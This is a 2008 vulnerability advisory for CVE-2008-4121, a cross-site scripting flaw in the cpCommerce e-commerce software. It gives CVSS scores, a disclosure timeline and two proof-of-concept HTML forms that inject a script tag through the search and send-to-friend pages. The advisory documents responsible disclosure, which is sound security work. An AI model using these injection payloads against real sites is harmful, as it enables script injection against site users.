Cross Site Scripting (XSS) Vulnerabilitiy in cpcommerce

2008-10-21 / 2008-10-22
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Cross Site Scripting (XSS) Vulnerabilitiy in cpcommerce, CVE-2008-4121 References Description cpCommerce is an open-source e-commerce solution that is maintained by templates and modules. Example Assuming cpcommerce is installed on http://localhost/cpcommerce/, anybody could inject JavaScript: <form method="post" action="http://localhost/cpcommerce/search.php"> <input type="hidden" name="action" value="search.quick"> <input type="text" name="search" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/cpcommerce/sendtofriend.php"> <input type="hidden" name="action" value="sendtofriend"> <input type="text" name="name" value='"><script>alert(1)</script>'> <input type=submit></form> Disclosure Timeline 2008-09-23 Vendor contacted 2008-09-23 Vendor released 1.2.4 2008-10-19 Published advisory CVE Information The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-4121 to this issue. This is a candidate for inclusion in the CVE list (, which standardizes names for security problems. Credits and copyright This vulnerability was discovered by Fabian Fingerle (published with help from Hanno Boeck [0]). It's licensed under the creative commons attribution license. Fabian Fingerle, 2008-09-04, [0] -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) iEYEARECAAYFAkj7rksACgkQ/aNqCatBq4WLcACglcv07jybfc5wu+MaR87Z9USV PswAmweNb9BpkS4pLc6Z6lOaLTHeSh8n =2C7v -----END PGP SIGNATURE-----


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